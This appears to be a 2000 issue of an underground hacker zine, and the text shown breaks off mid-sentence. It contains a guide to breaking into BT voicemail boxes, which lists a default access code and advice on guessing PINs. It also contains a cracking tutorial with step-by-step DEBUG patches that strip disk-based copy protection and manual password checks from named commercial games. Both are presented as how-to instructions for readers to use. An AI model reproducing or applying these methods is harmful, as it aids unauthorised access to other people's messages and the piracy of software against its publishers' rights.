BadByte Underground Zine - Issue #4 - May/June 2000 ____ ______ __ / __ )____ _____/ / __ )__ __/ /____ / __ / __ `/ __ / __ / / / / __/ _ \ / /_/ / /_/ / /_/ / /_/ / /_/ / /_/ __/ /_____/\__,_/\__,_/_____/\__, /\__/\___/ /____/ ISSUE #4 "It's good to phreak!" What's happened since issue #3: * The hacker known as 'Coolio' was nabbed by the Feds in connection with the January DoS attacks on Yahoo and Amazon.com but denied this but, admitted to being involved in other, similar incidents. * A new worm, similar to Melissa, choked up the internet recently. The virus sent itself attached e-mails to ppl in the Outlook Express list. The virus was supposedly to take the victim to a website which exploited the security of the PC. Because so many ppl became infected, the website couldn't handle the bandwidth and ended up crashing. A female computer student is suspected of this crime although her boyfriend was arrested but later released due to lack of evidence. * Th0r has been warned about internet crime after he e-mailbombed some girl and she got the police involved. The school also showed the police the printouts of the 'spoof' website which Th0r was involved in. The site contained lots of porn. Th0r luckily got off with a warning. Well, as you can see, we've been busy collecting lots of info for you to play around with: Table of Contents: ~~~~~ ~~ ~~~~~~~~ 00 ... You are presently reading this part! 01 ... BT Voice mail box hacking (by DarkFlame) 02 ... The Amatuer Crackist Tutorial 03 ... Plans for the UK blue box (old I think) 04 ... Scythe IRC Warscript 05 ... Guide to DOS .com executables 06 ... Guide to DOS .exe executables 07 ... Guide to DOS device drivers 08 ... Guide to Windows 3.1x New Executables 09 ... Guide to Win32 Linear Executables 10 ... Guide to Win32 Portable Executables Present and future *OFFICIAL* BadByte distros: (*) http://www.badsector.org.uk (*) http://www.coderz.net (x) http://members.xoom.com/mud2001 (*) denotes BadByte distro sites (x) denotes future BadByte distro sites The BadByte staff follow: Th0r ............... Hacker/Coder ....... th0r@hackermail.net SKR33M ............. Phreaker/Hacker .... user@skr33m.co.uk BlazinWeed ......... Hacker ............. root@infowarfare.co.uk Shadey ............. Researcher ......... shadey@b33r.force9.net []------------------[] -------------------------------+ 01 - BT Voice mail box hacking | -------------------------------+ Written by DarkFlame - a teenage phreak from London who writes for the Underground Periodicals, a rather large zine from the underground! Getting it on with Internal BT Voice Mail "And remember, the system is unreakable - don't be afraid to try out all the features !" - BT Voice Messaging Internal Memo "You heard 'em kids" - Me Basics The first step is to dial the voice mail system. If you have the number of a BT voice message system, go ahead and dial it. If not, well your just gonna have to find a source of them. A bit of trashing / social engineering might do the trick. Assuming you are ninja enough to have a number, you'll get a sultry "Welcome to BT Voice messaging. Please press hash to continue." from the system. Understandably pressing the # key gets you access to the voice mail system. Pressing the * key here gets a "Enter the address for your message" prompt. Simply entering a voice mail number will let you leave a message in someones mailbox. Assuming you keyed in a # you will then be prompted for a voice mailbox number. This is usually 4 digits long. If the mailbox number is being used you will get prompted for a security code. You get three attempts at either before you are booted off the system. If the mailbox has not been used before you have to enter the default code. At the time of writing this code is 3638. However, don't be surprised if soon after this document gets released this gets changed ! If you are a new user you will be prompted to change your security code which can be between 4 and 10 digits long. You won't be surprised to hear very few are longer than 4 digits. However, telephone numbers and birthdays are also popular choice. After selecting a new security code, you'll be asked to state your name. The only greeting on most of these system is "This is Fred Bloggs". To leave the system key in 99. Dealing with those pesky message To send a message log on as normal, entering mailbox number and security code. Press 6 at the "Ready" prompt. You will be then asked for a mailbox number to send your message to. After this use the # key to begin recording, end recording and to send the message. Easy eh ? However, receiving messages involves more than one button. If you have mail waiting for you, you will be notified after entering your security code. To listen to this press 5. The system is set to erase messages once they have been listened to. So to save a message in your mailbox so you can enjoy it everytime you log on press 7. Pressing 22 takes you back to the beginning of the message. Pressing 5 during message playback will skip to the next message in your box. Pressing 3 will erase a saved message. To reply to a message press 17. Use # to start message recording and # when you have finished. To forward a message (with your own comments !) key in 13 then the mailbox address. When recording your own comments use the # key to start and stop recording. Final Comments * It's illegal to access BTs voice mail sytems without permission. * If you can't be good, be careful. []------------------[] -----------------------------------+ 02 - The Amatuer Crackist Tutorial | -----------------------------------+ VOL 1 NUM 1 The Amatuer Crackist Tutorial Version 1.3 By Specular Vision Special Thanks to: Mr. Transistor Ironman The Grand Elusion Banzai Buckaroo Another fine PTL Production Call The Myth Inc. BBS Table of Contents: ------------------ (Page Numbers will be aprox. until final version is finished) i. Table of Contents 2 ii. Introduction 3 I. How to Crack 4 Debugging DOS 4 Cracking on the IBM PC Part 1 7 Cracking on the IBM PC Part 2 11 II. Example Cracks 14 Mean-18 by Accolade 14 Submarine by Eypx 18 Space Station Oblivion by Eypx 22 III. Removing Doc Check Questions 23 F-15 Strike Eagle by MicroProse 23 Battlehawks 1945 by Lucasfilms 25 Yeager's AFT by Electronic Arts 26 IV. Cracking Self Booters 27 Disk Basics Victory Road by Data East 27 MS-Flight Simulator (Ver 2.x) 30 V. Creating Title Screens 33 VI. Appendix 35 A - Interrupt Tables 36 (This will be an add-on file) 2 Introduction: ------------- Due to the current lack of Crackers, and also keeping in mind the time it took me to learn the basics of cracking, I de- cided to put this tutorial together. I will include many files which I have found helpful in my many cracking endeav- ors. It also has comments that I have included to make it easier to understand. Comments Key: ------------- Comments in the following material will be made by one of the following and the lines that enclose the comments show who made the comment. Specular Vision = ------------- Mr. Transistor = +++++++++++++ Ironman = ||||||||||||| Special thanks to Mr. Transistor, for coming out of "Retire- ment" to help compose this document. 3 Chapter I How to Crack ------------------------------------------------------------- Let's start with a simple introduction to patching a program using the DOS DEBUG program. The following article will in- troduce you to the basic ideas and concepts of looking for a certain area of a program and making a patch to it. ------------------------------------------------------------- By: Charles Petzold / Specular Vision Title: Case Study: A Colorful CLS This article originally appeared in the Oct. 14,1986 Issue of PC Magazine (Vol 15. Num 17.). Written by Charles Petzold. The hardest part of patching existing programs is determin- ing where the patch should go. You really have to make an intelligent guess about the functioning of the program. As an example, let's attempt to modify COMMAND.COM so that is colors the screen on a CLS command. As with any type of patch try it out on a copy and NOT the original. First, think about what we should look for. CLS is differ- ent from all the other DOS internal Commands, It is the only internal command that does something to the screen other than just write to it with simple teletype output. CLS blanks the screen and homes the cursor. Since it can't do this through DOS Calls (unless ANSI.SYS is loaded), it is probably calling the BIOS Directly. The BIOS Interrupt 10h call controls the video, and so the CLS command probably uses several INT 10h instructions. The machine code for INT 10h is CD 10. (While this same method will work under any version of PC-DOS, Version 2.0 and later, the addresses I'll be using are from PC-DOS 3.1. Other versions of PC-DOS(or MS-DOS) will have different addresses; you should be absolutely certain that you're using the correct addresses.) Load COMMAND.COM into DEBUG: DEBUG COMMAND.COM and do an R (Registers) command. The size of COMMAND.COM is in register CX. For DOS 3.1's COMMAND.COM, this value is 5AAA. Now do Search command to look for the CD 10 bytes: S 100 L 5AAA CD 10 You'll get a list of six addresses, all clustered close to- 4 gether. The first one is 261D. You can now pick an address a little before that (to see what the first call is doing) and start disassembling: U 261B The first INT 10 has AH set to 0F which is a Current Video State call. The code checks if the returned value of AL (Which is the video mode) is less than 3 or equal to 7. These are the text modes. If so, it branches to 262C. If not, it just resets the video mode with another INT 10 at ad- dress 2629. At 262C, the code first sets the border black (the INT 10 at 2630), then does another Current Video State call (at 2634) to get the screen width in register AH. It uses infor- mation from this call to set DX equal to the bottom right row and column. It then clears the screen by scrolling the en- tire screen up with another INT 10 (at 2645), and then sets the cursor to the zeroth row and zeroth column with the final INT 10 (at 264D). When it scrolls the whole screen, the zero value in AL ac- tually means blank the screen, the value of BH is the at- tribute to be used on the blanked area. In an unmodified COMMAND.COM, BH is set to 7 (Which is white on black) by the following statement at address 2640: MOV BX,0700 If you prefer a yellow-on-blue attribute (1E), you can change this line by going into Assemble mode by entering: A then entering MOV BX,1E00 and exiting Assemble mode by entering a blank line. Now you can save the modified file: W and quit DEBUG: Q When you load the new version of COMMAND.COM (and you can do so without rebooting by just entering: COMMAND 5 on the DOS command level), a CLS will turn the screen blue and display characters as yellow. If it doesn't or if anything you type shows up as white on black, that probably means you have ANSI.SYS loaded. If you use ANSI.SYS, you don't have to make this patch but can in- stead use the prompt command for coloring the screen. END. 6 ------------------------------------------------------------- That was just one section of a very large article that helped me to get started. Next we'll look at two other articles, both written by Buckaroo Banzi. These two articles CRACK-1 and CRACK-2 give you an introduction to the different copy protection schemes used on IBM PC's, and how to find and by- pass them. ------------------------------------------------------------- By: Buckaroo Banzai Title: Cracking On the IBM PC Part I Introduction ------------ For years, I have seen cracking tutorials for the APPLE computers, but never have I seen one for the PC. I have de- cided to try to write this series to help that pirate move up a level to a crackest. In this part, I will cover what happens with INT 13 and how most copy protection schemes will use it. I strongly suggest a knowledge of Assembler (M/L) and how to use DEBUG. These will be an important figure in cracking anything. INT-13 - An overview -------------------- Many copy protection schemes use the disk interrupt (INT-13). INT-13 is often use to either try to read in a il- legally formatted track/sector or to write/format a track/sector that has been damaged in some way. INT-13 is called like any normal interrupt with the assem- bler command INT 13 (CD 13). [AH] is used to select which command to be used, with most of the other registers used for data. INT-13 Cracking College ----------------------- Although, INT-13 is used in almost all protection schemes, the easiest to crack is the DOS file. Now the protected pro- gram might use INT-13 to load some other data from a normal track/sector on a disk, so it is important to determine which tracks/sectors are important to the protection scheme. I have found the best way to do this is to use LOCKSMITH/pc (what, you don't have LS. Contact your local pirate for it.) Use LS to analyze the diskette. Write down any track/sector that seems abnormal. These track are must likely are part of the protection routine. Now, we must enter debug. Load in 7 the file execute a search for CD 13. Record any address show. If no address are picked up, this mean 1 or 2 things, the program is not copy protected (right...) or that the check is in an other part of the program not yet loaded. The latter being a real hassle to find, so I'll cover it in part II. There is another choice. The CD 13 might be hidden in self changing code. Here is what a sector of hidden code might look like -U CS:0000 1B00:0000 31DB XOR BX,BX 1B00:0002 8EDB MOV DS,BX 1B00:0004 BB0D00 MOV BX,000D 1B00:0007 8A07 MOV AL,[BX] 1B00:0009 3412 XOR AL,12 1B00:000B 8807 MOV [BX],AL 1B00:000D DF13 FIST WORD... In this section of code, [AL] is set to DF at location 1B00:0007. When you XOR DF and 12, you would get a CD(hex) for the INT opcode which is placed right next to a 13 ie, giving you CD13 or INT-13. This type of code can't and will not be found using debug's [S]earch command. Finding Hidden INT-13s ---------------------- The way I find best to find hidden INT-13s, is to use a program called PC-WATCH (TRAP13 works well also). This pro- gram traps the interrupts and will print where they were called from. Once running this, you can just disassemble around the address until you find code that look like it is setting up the disk interrupt. An other way to decode the INT-13 is to use debug's [G]o command. Just set a breakpoint at the address give by PC-WATCH (both programs give the return address). Ie, -G CS:000F (see code above). When debug stops, you will have encoded not only the INT-13 but anything else leading up to it. What to do once you find INT-13 ------------------------------- Once you find the INT-13, the hard part for the most part is over. All that is left to do is to fool the computer in to thinking the protection has been found. To find out what the computer is looking for, examine the code right after the INT-13. Look for any branches having to do with the 8 CARRYFLAG or any CMP to the AH register. If a JNE or JC (etc) occurs, then [U]nassembe the address listed with the jump. If it is a CMP then just read on. Here you must decide if the program was looking for a pro- tected track or just a normal track. If it has a CMP AH,0 and it has read in a protected track, it can be assumed that it was looking to see if the program had successfully com- plete the READ/FORMAT of that track and that the disk had been copied thus JMPing back to DOS (usually). If this is the case, Just NOP the bytes for the CMP and the correspond- ing JMP. If the program just checked for the carry flag to be set, and it isn't, then the program usually assumes that the disk has been copied. Examine the following code INT 13 <-- Read in the Sector JC 1B00 <-- Protection found INT 19 <-- Reboot 1B00 (rest of program) The program carries out the INT and find an error (the il- legally formatted sector) so the carry flag is set. The com- puter, at the next instruction, see that the carry flag is set and know that the protection has not been breached. In this case, to fool the computer, just change the "JC 1B00" to a "JMP 1B00" thus defeating the protection scheme. NOTE: the PROTECTION ROUTINE might be found in more than just 1 part of the program Handling EXE files ------------------ As we all know, Debug can read .EXE files but cannot write them. To get around this, load and go about cracking the program as usual. When the protection scheme has been found and tested, record (use the debug [D]ump command) to save + & - 10 bytes of the code around the INT 13. Exit back to dos and rename the file to a .ZAP (any extension but .EXE will do) and reloading with debug. Search the program for the 20+ bytes surrounding the code and record the address found. Then just load this section and edit it like normal. Save the file and exit back to dos. Rename it back to the .EXE file and it should be cracked. ***NOTE: Sometimes you have to play around with it for a while to make it work. 9 DISK I/O (INT-13) ----------------- This interrupt uses the AH resister to select the function to be used. Here is a chart describing the interrupt. AH=0 Reset Disk AH=1 Read the Status of the Disk system in to AL AL Error ---------------------------- 00 - Successful 01 - Bad command given to INT *02 - Address mark not found 03 - write attempted on write protected disk *04 - request sector not found 08 - DMA overrun 09 - attempt to cross DMA boundary *10 - bad CRC on disk read 20 - controller has failed 40 - seek operation failed 80 - attachment failed (* denotes most used in copy protection) AH=2 Read Sectors input DL = Drive number (0-3) DH = Head number (0or1) CH = Track number CL = Sector number AL = # of sectors to read ES:BX = load address output AH =error number (see above) [Carry Flag Set] AL = # of sectors read AH=3 Write (params. as above) AH=4 Verify (params. as above -ES:BX) AH=5 Format (params. as above -CL,AL ES:BX points to format Table) ------------------------------------------------------------ For more information on INT-13 refer to appendix A. ------------------------------------------------------------ END. 10 ------------------------------------------------------------- In part II, Buck cover's Calls to INT-13 and INT-13 that are located in different overlays of the program. This is a method that is used often. ------------------------------------------------------------- Cracking Tutorial II. By: Buckaroo Banzai Title: Cracking On the IBM PC Part II Introduction ------------ OK guys, you now passed out of Copy Class 101 (dos files) and have this great new game with overlays. How do I crack this one. You scanned the entire .EXE file for the CD 13 and it's nowhere. Where can it be you ask yourself. In part II, I'll cover cracking Overlays and the use of locksmith in cracking. If you haven't read part I, then I suggest you do so. The 2 files go together. Looking for Overlays -------------------- So, you cant find CD 13 in the .EXE file, well, it can mean 4 things. 1: The .EXE (though it is mostly .COM) file is just a loader for the main file. 2: The .EXE file loads in an overlay. 3: The CD 13 is encrypted &/or hidden in the .EXE file. 4: Your looking at the WRONG file. I won't discuss case 1 (or at least no here) because so many UNP files are devoted to PROLOCK and SOFTGUARD, if you can't figure it out with them, your stupid. If you have case 3, use the technique in part I and restart from the beginning. And if you have case 4, shoot your self. You know the program uses overlays but don't see and on disk? Try looking at the disk with good old Norton's. Any hidden files are probably the overlays. These are the ones we are after. If you still can't find them, use PC-WATCH (this program is a must!!! For all crackists. Traps ALL in- terrupts). 11 Using PC-Watch to Find Overlays ------------------------------- Start up PC-Watch and EXCLUDE everything in the left Col.. Search the right Col. until you find DOS21 - OpnFile and select it. Now run the program to be cracked. Play the game until the protection is checked. Examine you PCWatch output to see what file was loaded right before it. This probably is the one holding the check. If not, go through all the files. You Have Found the Overlays --------------------------- Great, now just crack the overlay as if it was a DOS file. You don't need to worry about .EXE file, debug can write an overlay file. Part I explains the basics of cracking. I suggest that you keep a backup copy of the overlay so if you mess up, and you will, you can recover quickly. Ah, and you thought cracking with overlays was going to be hard. Locksmith and Cracking ---------------------- The copy/disk utility program Locksmith by AlphaLogic is a great tool in cracking. It's analyzing ability is great for determining what and where the protection is. I find it useful, before I even start cracking, to analyze the protected disk to find and id it's protection. This helps in 2 ways. First, it helps you to know what to do in order to fake out the protection. Second, it helps you to find what the program is looking for. I suggest that you get locksmith if you don't already have it. Check your local pirate board for the program. I also suggest getting PC-Watch and Norton Utilities 3.1.(Now 4.1) All of these program have many uses in the cracking world. END. 12 Chapter II Example Cracks ------------------------------------------------------------- OK, now let's put some of this information into practice by examining a few cracks of some common programs. First we'll look at a Crack for Mean-18 Golf by Accolade. Accolade has been one of those companies that has a fervent belief in Copy Protection. ------------------------------------------------------------- Title: MEAN-18 UnProtect For CGA/EGA Version This crack works by eliminating the code that tests for known bad sectors on the original diskette to see if it is the genuine article or an illegal copy. The code begins with an INT 13 (CD 13 HEX), a DOS BIOS disk service routine followed a few bytes later by another INT 13 instruction. The program then checks the returned value for the bit configuration that signifies the bad sectors and, if all is as expected, contin- ues on with program execution. The code that needs to be patched is in the GOLF.EXE file and in the ARCH.EXE file. It is identical in both files and lies near the end of each file. In the following steps, you'll locate the start of the test code and patch it by replacing it with NOP instructions (HEX 90). The method described uses the DOS DEBUG utility but Norton's Utility (NU) works too. Copy all of the files from the MEAN-18 disk onto a fresh floppy using the DOS COPY command and place your original diskette out of harm's way. Assuming DEBUG is in the A: drive and the floppy containing the files to be unlocked is in the B: drive , proceed as fol- lows: First REName the GOLF.EXE file so it has a different EXTension other than .EXE. REN GOLF.EXE GOLF.DEB Next load the file GOLF.DEB into DEBUG and displays the "-" DEBUG prompt. A:> DEBUG B:GOLF.EXE 13 Search for the beginning of the code to be patched by typing: - S CS:100 FFFF CD 13 Searches the file for the two byte INT 13 instruction. If all goes well, two addresses should appear on the screen. XXXX:019C XXXX:01A8 XXXX indicates that the numbers preceeding the ":" vary from system to system but the numbers following the ":" are the same on all systems. The next step is to use the "U" command as indicated to un-assemble a few bytes in order to verify your position in the file) - U CS:019C (Un-assembles 32 bytes of code. Verify the following se- quence of instructions: INT 13 JB 01E9 MOV AL,[BX+01FF] PUSH AX MOV AX,0201 INT 13 POP AX JB 01E9 CMP AL,F7 JNZ 01B5 These are the instructions you'll be patching out in the fol- lowing step) - A CS:019C This command assembles the new instructions you enter at the keyboard into the addresses shown. Beginning at CS:019C, and for the next 21 bytes, ending with and including CS:01B0, en- ter the no op command "NOP" (90h) followed by a or . Just hit at address XXXX:01B1 to end the assemble command.) XXXX:019C NOP XXXX:019D NOP . . . XXXX:01AE NOP XXXX:01AF NOP 14 XXXX:01B0 NOP XXXX:01B1 This just wipes out the section of code containing the INT 13 check. Now do a HEX dump and verify that bytes 019C through 01B0 have been set to 90 HEX. - D CS:019C If they have, write the patched file to the disk as follows) - W This writes the patched file back to the disk where it can be run by typing GOLF just as before but now, it can be run from any drive, including the hard drive) Now just [Q]uit or exit back to DOS. This command can be ex- ecuted at any "-" DEBUG prompt if you get lost. No modifica- tion will be made to the file on the disk until you issue the "W" command. - Q The process is the same for the ARCH.EXE file but because it is a different length, the segment address, (XXXX part of the address), will be different. You should find the first INT 13 instruction at address XXXX:019C and the second one at XXXX:01A8 as before. You will again be patching 21 bytes and you will start with 019C and end with 01B0 as before. After doing the HEX dump starting at address 019C, you again write the file back to the disk with a "W" command then "Q" uit. Norton's utilities can also be used to make this patch. Be- gin by searcing the GOLF.EXE or ARCH.EXE files for the two byte combination CD 13 (remember to enter these as HEX bytes). Once located, change the 21 bytes, starting with the first "CD" byte, to 90 (a NOP instruction). As a check that you are in the right place, the byte sequence in both files is CD 13 72 49 8A 87 FF 01 50 B8 01 02 CD 13 58 72 3C 3C F7 75 04. After modifying the bytes, write the modified file back to the disk. It can then be run from any drive. END. 15 ------------------------------------------------------------ That was the first the tutorial cracks, here's another crack based on the same ideas but using Norton's Utilities instead. The following is an unprotect method for Eypx Submarine. Eypx is another one of those companies bent on protecting the world. ------------------------------------------------------------ By: Assembler Magic Title: EPYX Submarine Unprotect You will only need to make one modification to the main executable program of Submarine, SUB.EXE. I will assume that your computer has a hard disk and that you have a path to DOS. It's time to fire up DEBUG as follows: DEBUG SUB.EXE The computer should respond with a "-" prompt. Now look at the registers, just to make sure everything came up okay. Type the letter "R" immediately after the prompt. The com- puter should respond with a few lines of info as follows: AX=0000 BX=0001 CX=6103 DX=0000 SP=0080 BP=0000 SI=0000 DI=0000 DS=12CE ES=12CE SS=37B2 CS=27FC IP=0010 NV UP EI PL NZ NA PO NC 27FC:0010 8CC0 MOV AX,ES - Note the value of CS is "27FC". That is the hexadecimal segment address for the beginning of the program code in your computer's memory. It is highly probable that the value you see for CS will differ from mine. Whatever it is, write it down. Also, the values you see for DS, ES and SS will almost certainly differ from mine and should not cause you concern. The other registers should show the same values mine do, and the flags should start with the same values. Next, we will do a search for Interrupt 13's. These are BIOS (not DOS) Interrupts built into the program which are used to ensure that the original disk is being used to run the program. The whole key to this unprotect scheme is to by- pass these Interrupts in the program code. The tricky part of this unprotect is to find them! They are not in the seg- ment of program code starting at the value of CS equal to "27FC". They are closer to the beginning of the program in memory. Easy enough! Reset the value of CS to equal the value of DS as follows; type immediately after Debug's "-" prompt: RCS 16 Debug will prompt you for the new value of CS with: CS:27FC: You respond by typing the value of DS you saw when you dumped the registers the first time. For example, I typed "12CE". The value you type will be different. Debug will again respond with the "-" prompt which means we are ready to do our search. Type in the following after the "-" prompt: S CS:0 FFFF CD 13 The computer should respond with three lines of information which are the addresses of the three Interrupt 13 calls built into the program. The first four digits are the segment ad- dress and will equal to the value of CS you have just set. The second four digits following the colon are the offset ad- dresses which are of primary interest to us. On my machine they came back as follows: 12CE:4307 12CE:431F 12CE:4335 The segment addresses will be identical and the three off- set addresses should all be relatively close together. Now look at the first offset address. (As you can see, mine was "4307".) Write it down. Now we do a bit of Unassembly. Type "U4307" which is the letter "U", followed immedi- ately (with no blank spaces) by whatever your first offset address turned out to be, followed by a carriage return. If you are not familiar with unassembled machine code, it will look like lines of gibberish as follows: 12CE:4307 CD13 INT 13 12CE:4309 4F DEC DI 12CE:430A 744C JZ 4358 . . 12CE:431F CD13 INT 13 12CE:4321 4F DEC DI . . 12CE:4324 BF0400 MOV DI,0004 12CE:4326 B80102 MOV AX,0201 In my computer, Unassemble will automatically output 16 lines of code to the screen. Yours may differ. Note, in the abbreviated list I have shown above, the addresses at the be- ginning of the two lines which contain the Interrupt 13's (INT 13) correspond to the first two addresses we found in our search. Now we continue the unassemble, and here comes 17 another tricky part. Just type in "U" after the "-" prompt. You'll get sixteen more lines of code with the third Inter- rupt 13 on a line which begins with the address (CS):4335 if you have the same version of Submarine as I do. It's not terribly important to this exercise, but it will at least show you that things are proceeding okay. Now type in "U" again after the prompt. You are now looking for three key lines of code. On my program they appear as fol- lows: 12CE:4335 07 POP ES 12CE:4356 5D POP BP 12CE:4357 CB RETF The true key is the instruction "POP ES". This instruction begins the normal return sequence after the program has ex- ecuted its Interrupt 13 instructions and accompanying checks. If Debug on your machine prints fewer than 16 lines of code at a shot, you may have to type in "U" more than twice at the "-" to find these instructions. (If you haven't found any of this stuff, either get help on the use of Debug or go back to using your diskette version!) Write down the offset address of the "POP ES" instruction; the four digits following the colon, which in my example is "4354". You're well on your way now, so please persevere. The next step is to modify the program to JUMP around the code which executes the Interrupt 13's and go immediately to the instruction which begins the normal return sequence (again, it's the "POP ES". Type in the following instruc- tions carefully: A4307 This first bit tells Debug that new Assembler code will be inserted at the address of the first Interrupt 13. If your first Interrupt 13 is at an address other that "4307", use the correct address, not mine. The computer will prompt you with the address: 12CE:4307 After which you will immediately type: JMP 4354 This instruction jumps the program immediately to the normal return code instructions. Again, at the risk of being redun- dant, if your "POP ES" instruction is at a different address, use that address, not "4354"! The computer will prompt you with the address of the next in- 18 struction if all went well. MAKE SURE you just hit the carriage return at this point. Debug will then return the familiar "-" prompt. Now it's time to examine your handiwork. Let's do the unassemble again starting at the address of what had been the first Interrupt 13 instruction, but which is now the Jump in- struction. Type in "U4307" or "U" followed by the appro- priate address and a carriage return. The first line begin- ning with the address should appear as follows: 12CE:4307 EB4B JMP 4354 The key here is the four bytes immediately following the ad- dress. In my example they are "EB4B". Yours may not be. But, they are VERY IMPORTANT because they represent the ac- tual machine code which is the Jump instruction. WRITE THESE FOUR BYTES DOWN AND MAKE SURE THEY ARE CORRECT. Now if you want to have some fun before we go on, reset register CS to its original value by first typing "RCS" at the "-" prompt. Then type in the original value of CS that I asked you to write down. Using my example, I typed "27FC". Next, you will type "G" after the "-" prompt which means GO! If all went well, SUB should run at this point. At least it will if you put all of the Submarine files onto the diskette or into the hard disk subdirectory where youre working. If it didn't run, you may have made an error. Check through what you have done. Don't give up at this point if it does not run. Your version of Debug may simply have not tolerated our shenanigans. When you are done playing, quit Submarine ("Alt-Q") and type a "Q" after the Debug prompt "-" appears. Now comes the tough part. I can't walk you through this phase in complete detail, because you may be using one of several programs available to modify the contents of SUB.EXE. Debug is not the way to go, because it can't write out .EXE files, only .COM files. ------------------------------------------------------------- Note: Another method of doing this is to REName the SUB.EXE file so it has a different extension other than .EXE before you enter DEBUG. That way after you've made the change you can then [W]rite then changes out to the file right in DEBUG. Then one drawback is that you can't run the program in DEBUG once you've changed the name. ------------------------------------------------------------- You have to get into your sector modification package (NORTON works good) and work on the SUB.EXE file on your new diskette or your hard disk. Remember, I warned you that doing this on your hard disk is dangerous if you are not fully aware of 19 what you are doing. So, IF YOU MESS UP, it's YOUR OWN FAULT! You are looking for the first occurrence of an Interrupt 13 (the "CD 13") using the search facility in your program. If you don't have the ability to search for the two-byte hexa- decimal code "CD 13" directly, then you will have to manually search. ------------------------------------------------------------- Note: Norton 4.x now has a search utility. When you get to the point of typing in the search text, just press the TAB key, and you can type in the actual hexadecimal code "CD 13". ------------------------------------------------------------- Start at the beginning of SUB.EXE and proceed. Again, you want to find the first of the three (first from the beginning of the program). I will give you a hint. I found it in NORTON at location 4407 hexadecimal which is location 17,415 decimal in the SUB.EXE program file. DOS standard sectors are 512 decimal bytes. Replace the two bytes "CD 13" with the "EB 4B" or whatever your Jump instruction turned out to be. Write or save the modified file. That's ALL there is to modifying SUB.EXE. You can go ahead and execute your program. If you have followed my instruc- tions, it should run fine. Get help if it doesn't. Now, you should be all set. You can load onto your hard disk, if you haven't already. You can run it from a RAM disk using a BAT file if you really want it to hum. Or, if you have the fa- cilities, you can copy it from 5-1/4" floppy to 3-1/2" dis- kette and run it on machines which accept that medium if you upgrade to a new computer. END. 20 ------------------------------------------------------------- Now let's take a look at a newer crack on the program, Space Station Oblivion by Eypx. At a first [S]earch with Debug and Norton's Utility no CD 13's could be found, and yet it was using them... So a different approach had to be taken... ------------------------------------------------------------- By: PTL Title: Space Station Oblivion Crack First of all, you must determine which file the INT 13's are in, in this case it had to be the file OBLIVION.EXE since it was the main program and probably contained the INT 13's. So then rename it to a different EXTension and load it into De- bug. Then do a [S]earch for INT 13's. -S 100 FFFF CD 13 Which will promptly turned up nothing. Hmmm... Next you might decide that, maybe, the code was modifying it- self. So quit from Debug and load up PC-Watch, include all the INT 13 Calls. For those of you not familiar with PC-Watch, it is a memory resident program that can be set to look for any type of BIOS call. When that call is made PC-Watch prints to the screen the contents of all the regis- ters and the current memory location that the call was made from. After PC-Watch is initialized, then run the OBLIVION.EXE file from the hard disk, leaving the floppy drive door open, and sure enough, when the red light comes on in the diskette drive, PC-Watch will report the address's of some INT 13 calls. Which you should then write down. From there, quit the game, reboot, (To dump PC-Watch from memory) and load the OBLIVION.EXE into Debug and issue a [G]o command with a breakpoint. What address should you use for a breakpoint? You guessed it, the same address PC-Watch gives you. Well, it locked up did'nt it? Which is quite common in this line of work so don't let that discourage you. So next re- loaded it into debug and this time [U]nassemble the address that you got from PC-Watch. But instead of finding the INT 13's you'll find harmless INT 21's. Hmm... could it be that the program was converting the CD 21's to CD 13's during the run? Well, to test the idea as- semble an INT 20 (Program Terminate) right after the first 21 INT 21. Then I run the program, and yes immediately after the red light comes on the drive, the program will terminate nor- mally. Then [U]nassemble that same area of memory, and low and be- hold, some of the INT 21's have magically turned into INT 13's. How clever... So, then it is just a matter of locating the address of the routine that it jumped (JMP) to if the correct disk was found in drive A:. Once you have that address, just go to the start of all this nonsense and [A]ssemble a JMP XXXX command. Where XXXX was the address to jump to if the original disk was in drive A:. Then just [W]rite the file back out to the disk and [Q]uit debug, and then REName the file back to OBLIVION.EXE afterwhich it should work fine. END. 22 Chapter III Removing Doc Check Questions ------------------------------------------------------------- A new fad has recently started up with software vendors, it involves the use of "Passwords" which are either stored in the documentation or are actually the documentation itself. Then when you reach a certain part of the program (Usually the beginning) the program will ask for the password and you have to look it up in the Docs before being allowed to con- tinue. If the wrong password is entered, it will usually drop you to DOS or take you to a Demo version of the program. This new form of copy protection is very annoying, but can usually be cracked without too much effort, and the files and the disk are usually in the standard DOS format. So now we'll take a look at cracking the Doc check questions. First of all we'll crack the startup questions in F-15 Strike Eagle by MicroProse. ------------------------------------------------------------- By: JP ASP Title: F-15 Unprotect Make a copy of the original disk using the DOS DISKCOPY pro- gram. >DISKCOPY A: B: Then insert the copy disk in the A drive and invoke DOS DE- BUG. >DEBUG Now we'll [F]ill an area of memory with nothing (00). -F CS:100 L FEFF 0 Next we will [L]oad into address CS:0100 the data that is on the A: disk (0) from sector 0 to sector 80. -l cs:100 0 0 80 Now lets [S]earch the data we loaded for the area where the copy protection routine is. -s cs:100 l feff FA EB FD Then for each of the occurences listed, use the address DEBUG returned in the [E]nter command below. 23 -e xxxx 90 90 90 ------------------------------------------------------------- Here's the part we are interested in, it's where you change all the autorization codes to a space. Notice how you can use the [S]earch command to look for ASCII text. ------------------------------------------------------------- -s cs:100 l feff "CHIP" Then for each occurance of "CHIP" use the address DEBUG re- turned in the [F]ill command below. -F XXXX L F 20 Write out the modified data -W CS:100 1 0 80 Quit DEBUG -Q You should now be able to DISKCOPY and boot from all copies also just press the space bar when it ask for ANY authority code and then press "ENTER". Now there is no need to remember (or look up) any codes that are so finely tucked away in the manual! END. 24 ------------------------------------------------------------- Here is a similar method that was used break the passwords in the program BATTLEHAWKS 1945 by Lucasfilms. However Norton Utilities is used to search for the passwords and change them. ------------------------------------------------------------- By: PTL Title: BATTLEHAWKS-1945 Doc Check Crack In keeping in line with their previous programs, Lucasfilms has released yet another program which uses Doc Checks for its means of copy protection, Battlehawks 1942. When you run this program, it first goes through a series of graphic displays, then it goes through a series of questions, asking what type of mission you want to fly, such as Train- ing, Active Duty, or which side of the war you want to be on. Then right before the simulation begins, it shows you a pic- ture of a Japanese Zero and ask you for a password which you are then supposed to get by looking up the picture of the Zero in the User Manual and typing the corresponding password in. After which it enters the simulation, in the event you enter the wrong password, it puts you into a training mis- sion. Removing the Doc Check in a program like this is usually pretty easy. The ideal way to do it is to remove the Doc Check routine itself, but if you don't have all day to debug and trace around the code this might not be the best way. For instance if you only have your lunch hour to work on it (Like I did), then you need to use the standard Q.D.C.R.S. (Quick Doc Check Removal System). How do you do a QDCRS? Well first of all, play around with the program, find out what it will and will NOT accept as a password. Most programs will accept anything, but a few (Like Battlehawks) will only accept Alpha characters. Once you've learned what it likes, make an educated guess as to what program the Doc Check routine is in. Then load that program into Norton's Utility (NU). At 